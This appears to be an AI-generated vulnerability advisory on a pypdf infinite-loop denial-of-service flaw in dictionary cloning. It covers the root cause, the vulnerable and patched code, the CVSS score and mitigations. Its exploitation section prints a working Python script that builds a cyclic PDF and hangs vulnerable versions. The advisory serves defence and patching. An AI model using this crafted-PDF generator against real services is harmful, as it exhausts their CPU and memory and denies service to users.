CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-119205

CVE-2026-119205: Denial of Service via Infinite Loop in pypdf DictionaryObject Cloning

Alon Barad
Alon Barad
Software Engineer

Oct 31, 2026·9 min read·2 visits

Executive Summary (TL;DR)

Versions of pypdf prior to 6.21.4 contain a logic error in cycle detection during DictionaryObject cloning (CWE-835). Processing a crafted PDF containing cyclic indirect dictionary references triggers an infinite loop, leading to application hangs and CPU exhaustion. Upgrade to pypdf 6.21.4 or later.

CVE-2026-119205 (GHSA-mfr5-77xh-9j7h) is a Denial of Service (DoS) vulnerability in pypdf prior to version 6.21.4. The flaw occurs during the cloning or duplication of nested PDF dictionary structures. Because the cycle-detection algorithm within DictionaryObject._clone() tracked generated destination object references rather than the original source indirect references, cyclic reference graphs in source PDFs evaded detection, resulting in an infinite loop and CPU exhaustion.

Vulnerability Overview

pypdf is a widely deployed, pure-Python library used for reading, splitting, merging, and transforming Portable Document Format (PDF) files. Within backend web applications, document management pipelines, and automated ingestion workflows, pypdf frequently processes untrusted PDF documents supplied by external users. Operations that assemble or rewrite documents—such as PdfWriter.append(), PdfWriter.merge(), or explicit object cloning—rely on the library's internal data structure manipulation routines to copy PDF objects from a source reader to a destination writer.

In versions prior to 6.21.4, pypdf contains an infinite loop vulnerability tracked as CVE-2026-119205 (and GHSA-mfr5-77xh-9j7h) within the DictionaryObject._clone() method in pypdf/generic/_data_structures.py. The PDF specification permits indirect objects to reference one another, which allows for the creation of cyclic object graphs where dictionary entries point back to parent or sibling dictionaries. When pypdf duplicates these structures into a new document, it must track previously visited nodes to prevent infinite traversal across circular references.

Classified under CWE-835 (Loop with Unreachable Exit Condition), the vulnerability exists because the traversal routine checked the identity of newly instantiated destination references rather than the original source object references. When an application attempts to clone or append a crafted PDF containing mutual indirect dictionary references, the cycle check fails to recognize that a source object has already been traversed. Consequently, the cloning loop runs indefinitely, pinning the Python execution thread at 100% CPU utilization and causing a denial of service.

Root Cause Analysis

The root cause of CVE-2026-119205 lies in how DictionaryObject._clone() manages state within its visited tracking set when iterating over chained dictionary references. In a PDF document, indirect objects are uniquely identified by a tuple consisting of an object ID number (idnum) and a generation number (generation), represented in pypdf by the IndirectObject class. When cloning a DictionaryObject, pypdf resolves indirect references and iteratively clones chained sub-objects using a while cur_obj is not None: loop rather than deep call-stack recursion.

To prevent infinite loops when encountering circular references (for example, Object 5 referencing Object 6 via key /N, and Object 6 referencing Object 5 via key /N), the _clone() method maintains a visited set of (idnum, generation) tuples. Inside the while loop, the routine invokes cur_obj._reference_clone(cur_obj.__class__(), pdf_dest, force_duplicate) to instantiate the cloned object (clon) inside the destination PDF (pdf_dest) before performing the cycle check.

The implementation mistake occurred because the code extracted idnum and generation from clon.indirect_reference (the newly allocated destination reference in pdf_dest) rather than cur_obj.indirect_reference (the original reference in the source PDF). When force_duplicate is active or when new destination objects are allocated sequentially during traversal, clon.indirect_reference does not reflect the cyclic identity of cur_obj in the source document.

Because each iteration evaluates the destination state instead of the source node identity, the condition if (idnum, generation) in visited: evaluates to False even when cur_obj has been visited multiple times. The loop continues allocating new clones and traversing between the cyclic source dictionaries until the process is externally terminated or exhausts system memory.

Code Analysis

The vulnerability resides in pypdf/generic/_data_structures.py within the _clone method of DictionaryObject. Prior to version 6.21.4, the while cur_obj is not None: loop immediately called _reference_clone() and checked the resulting clon object's indirect_reference attribute against the visited set.

# VULNERABLE CODE: pypdf/generic/_data_structures.py (prior to 6.21.4)
prev_obj: Optional[DictionaryObject] = self
while cur_obj is not None:
    clon = cast(
        "DictionaryObject",
        cur_obj._reference_clone(
            cur_obj.__class__(), pdf_dest, force_duplicate
        ),
    )
    # Flaw: Inspects the newly generated destination reference on 'clon'
    # instead of the source reference on 'cur_obj'
    if clon.indirect_reference is not None:
        idnum = clon.indirect_reference.idnum
        generation = clon.indirect_reference.generation
        if (idnum, generation) in visited:
            cur_obj = None
            break
        visited.add((idnum, generation))
    objs.append((cur_obj, clon))
    assert prev_obj is not None
    prev_obj[NameObject(k)] = clon.indirect_reference

In commit f176db1a1f7f9af3e472e69a843ef1175653b044 (Pull Request #4288), the maintainers resolved the flaw by capturing cur_obj.indirect_reference into a local variable source_reference prior to executing _reference_clone(). The cycle detection logic then extracts source_idnum and source_generation directly from source_reference.

# PATCHED CODE: pypdf/generic/_data_structures.py (version 6.21.4)
prev_obj: Optional[DictionaryObject] = self
while cur_obj is not None:
    # Fix: Capture the original source object's indirect reference
    source_reference = cur_obj.indirect_reference
    clon = cast(
        "DictionaryObject",
        cur_obj._reference_clone(
            cur_obj.__class__(), pdf_dest, force_duplicate
        ),
    )
    # Check to see if we've previously processed our source item
    if source_reference is not None:
        source_idnum = source_reference.idnum
        source_generation = source_reference.generation
        if (source_idnum, source_generation) in visited:
            cur_obj = None
            break
        visited.add((source_idnum, source_generation))
    objs.append((cur_obj, clon))
    assert prev_obj is not None
    prev_obj[NameObject(k)] = clon.indirect_reference

> [!NOTE] > Assessment of Fix Completeness: The patch accurately binds the visited set to the source document's object identifiers (source_idnum, source_generation). Because any cycle in a static source PDF must repeat an existing indirect object reference in the source xref table, tracking cur_obj.indirect_reference guarantees that the loop terminates once any node in the cycle is encountered a second time. Notice that _reference_clone() still executes once for the repeated node before the break statement triggers, which is expected so that prev_obj[NameObject(k)] received the valid reference in the prior iteration without overwriting subsequent links.

Exploitation

Exploiting CVE-2026-119205 requires an attacker to submit a crafted PDF file to an application that invokes pypdf cloning operations, such as PdfWriter.append(), PdfWriter.add_page(), or PdfWriter.clone_document_from_reader(). No authentication or elevated privileges are required within pypdf itself; the sole prerequisite is that the target application processes the attacker-supplied document using a vulnerable version of the library.

To trigger the infinite loop, the PDF must contain a chain of dictionary objects linked via the /N (Next) entry—commonly used in PDF navigation nodes, bead threads, or chained structures—that forms a closed loop. Specifically, the /Contents stream dictionary of a page can reference an indirect dictionary via /N, which in turn references a second indirect dictionary via /N that points back to the first.

The official regression test introduced in tests/generic/test_data_structures.py demonstrates the exact byte structure required to trigger the vulnerability:

from io import BytesIO
from pypdf import PdfWriter
 
# Define minimal PDF objects where Object 5 and Object 6 form a mutual /N cycle:
# Object 4 (Page Contents stream) -> /N 5 0 R
# Object 5 -> /N 6 0 R
# Object 6 -> /N 5 0 R
objects = [
    b"<< /Type /Catalog /Pages 2 0 R >>",
    b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Contents [4 0 R] >>",
    b"<< /Length 0 /N 5 0 R >>\nstream\n\nendstream",
    b"<< /N 6 0 R /T (alpha) >>",
    b"<< /N 5 0 R /T (beta) >>",
]
 
object_count = len(objects)
out = bytearray(b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n")
offsets = []
for num, obj in enumerate(objects, start=1):
    offsets.append(len(out))
    out += b"%d 0 obj\n" % num + obj + b"\nendobj\n"
 
xref = len(out)
out += b"xref\n0 %d\n" % (object_count + 1)
out += b"0000000000 65535 f \n"
for offset in offsets:
    out += b"%010d 00000 n \n" % offset
out += b"trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF\n" % (object_count + 1, xref)
data = bytes(out)
 
# Trigger the infinite loop during dictionary cloning
writer = PdfWriter()
writer.append(BytesIO(data))

When writer.append(BytesIO(data)) executes on pypdf < 6.21.4, the parser reads the page object (Object 3), resolves its /Contents stream (Object 4), and begins iterating over the /N chain starting at Object 5. Because the cycle check inspects the destination clone rather than the source reference (5, 0) and (6, 0), execution alternates between Object 5 and Object 6 indefinitely.

Impact Assessment

The primary impact of CVE-2026-119205 is a high-severity Denial of Service (DoS) affecting system availability. The vulnerability does not allow memory corruption, arbitrary code execution, or unauthorized data disclosure, as pypdf operates entirely within the managed memory space of the Python runtime. Consequently, both Confidentiality and Integrity metrics across the Vulnerable and Subsequent systems are rated as None (VC:N/VI:N/SC:N/SI:N).

In a production environment, triggering the infinite loop consumes 100% of the CPU core assigned to the Python process or worker thread. Furthermore, because the objs.append((cur_obj, clon)) call inside the loop continuously appends object tuples on every iteration, memory consumption grows monotonically until the operating system's Out-Of-Memory (OOM) killer terminates the process or the container exceeds its cgroup memory limit.

For web services and microservices using synchronous WSGI servers (such as Gunicorn or uWSGI with a fixed pool of worker processes) or asynchronous event loops (such as FastAPI or asyncio where CPU-bound PDF manipulation is inadvertently run on the main event loop), a small number of concurrent requests containing this payload will exhaust all available workers. This renders the application incapable of serving legitimate users until the hung processes are manually restarted.

The CVSS v4.0 base score is 7.1 (High) (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N). Threat intelligence metrics indicate an EPSS score of 0.00304 (23.18th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Remediation

The definitive remediation for CVE-2026-119205 is to upgrade pypdf to version 6.21.4 or later. Version 6.21.4 contains commit f176db1a1f7f9af3e472e69a843ef1175653b044, which corrects the cycle detection logic in DictionaryObject._clone().

Administrators and developers can apply the update via pip or their respective Python dependency manager:

pip install --upgrade "pypdf>=6.21.4"

If immediate upgrading is not feasible due to dependency constraints, engineering teams should implement defense-in-depth runtime controls around PDF processing tasks:

  1. Subprocess Isolation and Execution Timeouts: Never execute PdfWriter.append(), merge(), or cloning operations directly on the main web server thread or asyncio event loop. Offload PDF manipulation to dedicated worker processes (for example, via concurrent.futures.ProcessPoolExecutor or Celery task queues configured with a strict time_limit and soft_time_limit) so hung workers can be terminated cleanly via SIGKILL.
  2. Operating System Resource Limits: Apply strict CPU time (RLIMIT_CPU) and virtual memory (RLIMIT_AS) limits to worker processes handling untrusted documents using Python's built-in resource module on POSIX systems, or enforce equivalent container-level CPU and memory quotas.
  3. Pre-processing Sanitization: If PDF files pass through an external ingestion gateway prior to reaching Python workers, use structural PDF validation tools (such as qpdf --check) to reject malformed or abnormally structured documents before cloning.

Official Patches

py-pdfOfficial patch commit fixing loop detection in DictionaryObject._clone
py-pdfpypdf 6.21.4 release tag
py-pdfGitHub Security Advisory GHSA-mfr5-77xh-9j7h

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.30%
Top 77% most exploited

Affected Systems

py-pdf pypdf (< 6.21.4)

Affected Versions Detail

Product
Affected Versions
Fixed Version
pypdf
py-pdf
< 6.21.46.21.4
AttributeDetail
Vulnerability TypeInfinite Loop / Denial of Service (CWE-835)
Affected Componentpypdf/generic/_data_structures.py (DictionaryObject._clone)
Attack VectorNetwork (Crafted PDF Document)
CVSS v4.0 Score7.1 High
EPSS Score0.30% (23.18th Percentile)
ImpactApplication Hang & 100% CPU Utilization
Exploit StatusProof-of-Concept (Unit Test)
Fixed Versionpypdf 6.21.4

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.003Application Exhaustion Flood
Impact
CWE-835
Loop with Unreachable Exit Condition ('Infinite Loop')

The program contains an iteration loop with an exit condition that cannot be reached, i.e., an infinite loop.

Known Exploits & Detection

GitHubOfficial unit test (test_dictionary_object__clone__cycle_detection) demonstrating a minimal PDF with cyclic /N references that reproduces the infinite loop.

Vulnerability Timeline

Fix PR #4288 merged into py-pdf/pypdf via commit f176db1a1f7f9af3e472e69a843ef1175653b044.
2026-10-28
pypdf version 6.21.4 released on GitHub and PyPI.
2026-10-28
GitHub Security Advisory GHSA-mfr5-77xh-9j7h and CVE-2026-119205 published.
2026-10-29
Official CVE record updated.
2026-10-30

References & Sources

  • [1]GitHub Security Advisory GHSA-mfr5-77xh-9j7h
  • [2]py-pdf/pypdf Pull Request #4288: SEC: Fix loop detection when cloning DictionaryObject
  • [3]Fix Commit f176db1a1f7f9af3e472e69a843ef1175653b044
  • [4]pypdf Release 6.21.4
  • [5]CVE.org Record: CVE-2026-119205
  • [6]NVD Vulnerability Detail: CVE-2026-119205
  • [7]CVE List V5 JSON Record: CVE-2026-119205

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•39 minutes ago•CVE-2026-118772
7.5

CVE-2026-118772: Regular Expression Denial of Service in Joi Email Validation

A Regular Expression Denial of Service (ReDoS) vulnerability exists in the joi schema description and data validation library for JavaScript. When validating multiple email addresses using the Joi.string().email({ multiple: true }) configuration, the library compiles a separator regular expression with an unanchored greedy leading whitespace quantifier. Supplying an input string containing a long sequence of whitespace characters without the expected delimiter triggers quadratic time complexity during String.prototype.split execution, blocking the single-threaded Node.js event loop.

Alon Barad
Alon Barad
0 views•11 min read
•about 3 hours ago•CVE-2026-119204
7.1

CVE-2026-119204: Uncontrolled Resource Consumption in pypdf Page Tree Flattening

CVE-2026-119204 (also tracked as GHSA-cggf-277g-3q54) is a Denial of Service (DoS) vulnerability in pypdf prior to version 6.21.4. The vulnerability stems from uncontrolled resource consumption (CWE-400) during the flattening of a PDF document's page tree. By supplying a compact PDF containing a hierarchical amplification structure of shared `/Pages` and `/Page` nodes with dense dictionary entries or inherited resources, an unauthenticated attacker can cause pypdf to copy millions of dictionary entries into individual `PageObject` instances without enforcing a document-wide entry budget. This triggers severe heap memory exhaustion and process termination via Out-Of-Memory (OOM) kills.

Alon Barad
Alon Barad
3 views•11 min read
•about 4 hours ago•CVE-2026-119203
7.1

CVE-2026-119203: Infinite Loop in pypdf Standard Cross-Reference Table Parser

CVE-2026-119203 is a denial-of-service vulnerability affecting the pypdf library in versions prior to 6.21.4. The flaw occurs within the standard cross-reference (xref) table parsing routine when processing truncated or malformed PDF streams that terminate before a valid trailer dictionary is encountered. Because the parser attempts to rewind the stream pointer by a fixed offset whenever the trailer token is absent without verifying forward progress, hitting the end-of-file (EOF) or non-advancing tokens causes the parser to re-read the same byte offset indefinitely. An unauthenticated attacker can exploit this flaw by supplying a crafted PDF document to an application using pypdf, resulting in continuous CPU consumption and thread exhaustion.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 5 hours ago•CVE-2026-118759
7.5

CVE-2026-118759: Cross-Tenant Pod Log Exposure via Authorization Bypass in Kubeflow Pipelines

Prior to version 2.18.0, the Kubeflow Pipelines API server contains a missing authorization and confused deputy vulnerability in its run log streaming endpoint. The HTTP handler for `GET /apis/v1alpha1/runs/{run_id}/nodes/{node_id}/log` fails to propagate incoming request headers to gRPC metadata and omits caller authorization checks against the requested run. Furthermore, the backend accepts the caller-supplied `node_id` parameter directly as a Kubernetes pod name without verifying that the pod belongs to the specified pipeline run. An attacker with network access to the API server who knows a valid run identifier can read live or archived execution logs from any pod containing a `main` container within the run's Kubernetes namespace.

Alon Barad
Alon Barad
4 views•10 min read
•about 6 hours ago•CVE-2026-118761
7.5

CVE-2026-118761: Pre-Authorization Decompression Bomb Denial of Service in Kubeflow Pipelines API Server

A high-severity Denial of Service (DoS) vulnerability exists in Kubeflow Pipelines prior to version 2.18.0 due to improper handling of highly compressed archive files (CWE-409). The API server decompresses uploaded ZIP and gzip-compressed TAR archives directly into memory without bounding the expanded byte stream or archive traversal metadata. Because decompression occurs before namespace-level authorization in multipart upload handlers, an unauthenticated or unauthorized attacker with network access to the API server can exhaust container heap memory and trigger Out-Of-Memory (OOM) terminations.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 7 hours ago•CVE-2026-118763
7.4

CVE-2026-118763: Cross-Origin Credential Exposure in @sigstore/oci

A credential exposure vulnerability exists in the @sigstore/oci library prior to version 0.7.2. The RegistryClient implementation stores sensitive authentication headers, including Bearer tokens, Basic authentication credentials, and custom Docker configuration headers, as client-wide defaults on its shared HTTP client instance. When uploading binary blobs via the OCI distribution specification, the client extracts the target upload URI from the server-supplied Location header and dispatches an independent HTTP PUT request. If a compromised or untrusted registry returns a cross-origin URI in the Location header, the client transmits the stored authentication credentials directly to the third-party host.

Alon Barad
Alon Barad
7 views•10 min read